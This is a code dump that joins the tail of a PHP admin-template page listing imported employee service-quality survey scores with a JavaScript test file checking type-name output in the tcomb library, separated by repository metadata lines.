echo $_SESSION['username']; ?> <span class=" fa fa-angle-down"></span> </a> <ul class="dropdown-menu dropdown-usermenu pull-right"> <li><a href="javascript:;"> Profile</a></li> <li> <a href="javascript:;"> <span class="badge bg-red pull-right">50%</span> <span>Settings</span> </a> </li> <li><a href="javascript:;">Help</a></li> <li><a href="index.php?logout='1"><i class="fa fa-sign-out pull-right"></i> Log Out</a></li> </ul> </li> </ul> </nav> </div> </div> <!-- /top navigation --> <!-- page content --> <div class="right_col" role="main"> <div class=""> <div class="page-title"> <div class="title_right"> <div class="col-md-5 col-sm-5 col-xs-12 form-group pull-right top_search"> </div> </div> </div> <div class="clearfix"></div> <div class="row"> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="x_panel"> <div class="x_content"> <!-- Content --> <div style="padding: 0 15px;"> <a href="form_upload.php" class="btn btn-success pull-right"> <span class="glyphicon glyphicon-upload"></span> Import Data </a> <h3>Data Hasil Import</h3> <hr> <!-- Buat sebuah div dan beri class table-responsive agar tabel jadi responsive --> <div class="table-responsive"> <table class="table table-bordered"> <tr> <th>No</th> <th>ID Karyawan</th> <th>Tangibles</th> <th>Reliability</th> <th>Responsiveness</th> <th>Assurance</th> <th>Empathy</th> </tr> <?php // Load file koneksi.php include "koneksi_php.php"; // Buat query untuk menampilkan semua data survey $sql = $pdo->prepare("SELECT * FROM datasurvey"); $sql->execute(); // Eksekusi querynya $no = 1; // Untuk penomoran tabel, di awal set dengan 1 while($data = $sql->fetch()){ // Ambil semua data dari hasil eksekusi $sql echo "<tr>"; echo "<td>".$no."</td>"; echo "<td>".$data['id']."</td>"; echo "<td>".$data['tangibles']."</td>"; echo "<td>".$data['reliability']."</td>"; echo "<td>".$data['responsiveness']."</td>"; echo "<td>".$data['assurance']."</td>"; echo "<td>".$data['empathy']."</td>"; echo "</tr>"; $no++; // Tambah 1 setiap kali looping } ?> </table> </div> </div> <br /> <br /> <br /> <br /> </div> </div> </div> </div> </div> </div> <!-- /page content --> <!-- footer content --> <footer> <div class="pull-right"> Gentelella - Bootstrap Admin Template by <a href="https://colorlib.com">Colorlib</a> </div> <div class="clearfix"></div> </footer> <!-- /footer content --> </div> </div> <script src="../production/js/UploadDownload.js"></script> <!-- jQuery --> <script src="../vendors/jquery/dist/jquery.min.js"></script> <!-- Bootstrap --> <script src="../vendors/bootstrap/dist/js/bootstrap.min.js"></script> <!-- FastClick --> <script src="../vendors/fastclick/lib/fastclick.js"></script> <!-- NProgress --> <script src="../vendors/nprogress/nprogress.js"></script> <!-- Dropzone.js --> <script src="../vendors/dropzone/dist/min/dropzone.min.js"></script> <!-- Custom Theme Scripts --> <script src="../build/js/custom.min.js"></script> </body> </html>
9bd261505d9aa3d190a403d0ba2f171c31ffa2d0
[ "SQL", "PHP" ]
4
PHP
arga1234/garuda_indonesia
b68466bb296a8f3dfc6850cd636de5d45e3c44f4
a7baad8d1a98e25b5db2982687235ddc320108f7
refs/heads/master
<repo_name>bzalasky/tcomb<file_sep>/test/getTypeName.js /* globals describe, it */ var assert = require('assert'); var t = require('../index'); describe('t.getTypeName(type)', function () { var UnnamedStruct = t.struct({}); var NamedStruct = t.struct({}, 'NamedStruct'); var UnnamedUnion = t.union([t.String, t.Number]); var NamedUnion = t.union([t.String, t.Number], 'NamedUnion'); var UnnamedMaybe = t.maybe(t.String); var NamedMaybe = t.maybe(t.String, 'NamedMaybe'); var UnnamedEnums = t.enums({a: 'A', b: 'B'}); var NamedEnums = t.enums({}, 'NamedEnums'); var UnnamedTuple = t.tuple([t.String, t.Number]); var NamedTuple = t.tuple([t.String, t.Number], 'NamedTuple'); var UnnamedSubtype = t.subtype(t.String, function notEmpty(x) { return x !== ''; }); var NamedSubtype = t.subtype(t.String, function (x) { return x !== ''; }, 'NamedSubtype'); var UnnamedList = t.list(t.String); var NamedList = t.list(t.String, 'NamedList'); var UnnamedDict = t.dict(t.String, t.String); var NamedDict = t.dict(t.String, t.String, 'NamedDict'); var UnnamedFunc = t.func(t.String, t.String); var NamedFunc = t.func(t.String, t.String, 'NamedFunc'); var UnnamedIntersection = t.intersection([t.String, t.Number]); var NamedIntersection = t.intersection([t.String, t.Number], 'NamedIntersection'); it('should return the name of a function', function () { assert.deepEqual(t.getTypeName(function myname(){}), 'myname'); }); it('should return the name of a named type', function () { assert.deepEqual(t.getTypeName(NamedStruct), 'NamedStruct'); assert.deepEqual(t.getTypeName(NamedUnion), 'NamedUnion'); assert.deepEqual(t.getTypeName(NamedMaybe), 'NamedMaybe'); assert.deepEqual(t.getTypeName(NamedEnums), 'NamedEnums'); assert.deepEqual(t.getTypeName(NamedTuple), 'NamedTuple'); assert.deepEqual(t.getTypeName(NamedSubtype), 'NamedSubtype'); assert.deepEqual(t.getTypeName(NamedList), 'NamedList'); assert.deepEqual(t.getTypeName(NamedDict), 'NamedDict'); assert.deepEqual(t.getTypeName(NamedFunc), 'NamedFunc'); assert.deepEqual(t.getTypeName(NamedIntersection), 'NamedIntersection'); }); it('should return a meaningful name of a unnamed type', function () { assert.deepEqual(t.getTypeName(UnnamedStruct), '{}'); assert.deepEqual(t.getTypeName(UnnamedUnion), 'String | Number'); assert.deepEqual(t.getTypeName(UnnamedMaybe), '?String'); assert.deepEqual(t.getTypeName(UnnamedEnums), '"a" | "b"'); assert.deepEqual(t.getTypeName(UnnamedTuple), '[String, Number]'); assert.deepEqual(t.getTypeName(UnnamedSubtype), '{String | notEmpty}'); assert.deepEqual(t.getTypeName(UnnamedList), 'Array<String>'); assert.deepEqual(t.getTypeName(UnnamedDict), '{[key: String]: String}'); assert.deepEqual(t.getTypeName(UnnamedFunc), '(String) => String'); assert.deepEqual(t.getTypeName(UnnamedIntersection), 'String & Number'); }); });
c9856b9ecadbb637c80f3dfd3f38ea136c61dae2
[ "JavaScript" ]
1
JavaScript
bzalasky/tcomb
46fffa7f3b5ce80186bce6467f0995d82407d3cf
47faa08df11f7f56ac4d5ccad8f12b53acba37a4